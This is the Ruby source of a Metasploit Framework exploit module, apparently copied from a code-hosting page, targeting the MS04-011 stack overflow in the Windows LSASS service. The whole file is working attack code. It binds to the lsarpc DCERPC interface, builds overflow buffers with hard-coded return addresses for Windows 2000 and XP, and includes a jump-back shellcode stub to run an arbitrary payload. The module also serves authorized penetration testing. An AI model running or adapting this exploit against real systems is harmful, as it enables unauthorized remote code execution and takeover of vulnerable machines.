metasploit-framework/modules/exploits/windows/smb/ms04_011_lsass.rb

143 lines
4.2 KiB
Ruby
Raw Normal View History

require 'msf/core'
module Msf
class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
#
# This module exploits a vulnerability in the LSASS service
#
include Exploit::Remote::SMB
include Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft LSASS MSO4-011 Overflow',
'Description' => %q{
This module exploits a stack overflow in the LSASS service, this vulnerability
was originally found by eEye. When re-exploiting a Windows XP system, you will need
need to run this module twice. DCERPC request fragmentation can be performed by setting
'FragSize' parameter.
},
'Author' => [ 'hdm' ],
'License' => GPL_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '5248' ],
[ 'MSB', 'MS04-011' ],
[ 'MIL', '36' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Targets' =>
[
# Automatic
[
'Automatic Targetting',
{
'Platform' => 'win',
'Rets' => [ ],
},
],
# Windows 2000
[
'Windows 2000 English',
{
'Platform' => 'win',
'Rets' => [ 0x773242e0 ],
},
],
# Windows XP
[
'Windows XP English',
{
'Platform' => 'win',
'Rets' => [ 0x7449bf1a ],
},
],
],
'DefaultTarget' => 0))
end
def exploit
connect()
handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
print_status('Getting OS ...')
# Check the remote OS name and version
os = smb_peer_lm
string = ''
case os
# Windows 2000 requires that the string be unicode formatted
# and give us a nice set of registers which point back to
# the un-unicoded data. We simply return to a nop sled that
# jumps over the return address, some trash, and into the
# final payload. Easy as pie.
when /2000/
str = Rex::Text.rand_text_alphanumeric(3500)
str[2020, 4] = [targets[1]['Rets'][0]].pack('V')
str[2104, payload.encoded.length ] = payload.encoded
string = NDR.UnicodeConformantVaryingString(str)
# Windows XP is a bit different, we need to use an ascii
# buffer and a jmp esp. The esp register points to an
# eight byte segment at the end of our buffer in memory,
# we make these bytes jump back to the beginning of the
# buffer, giving us about 1936 bytes of space for a
# payload.
when /XP/
str = Rex::Text.rand_text_alphanumeric(7000)
str[0, payload.encoded.length ] = payload.encoded
str[1964, 4] = [targets[2]['Rets'][0]].pack('V')
str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload
string = str
when
print_status("No target is available for #{ os }")
return
end
stub = string +
NDR.long(rand(0xFFFFFF)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xFFFFFF)) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xFFFFFF)) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xFFFFFF)) +
NDR.UnicodeConformantVaryingString('') +
Rex::Text.rand_text(528) +
Rex::Text.rand_text(528) +
NDR.long(rand(0xFFFFFF))
print_status('sending exploit ...')
begin
response = dcerpc_call(9, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_status('Server did not respond, but that should be ok ...')
end
# Perform any required client-side payload handling
handler
end
end
end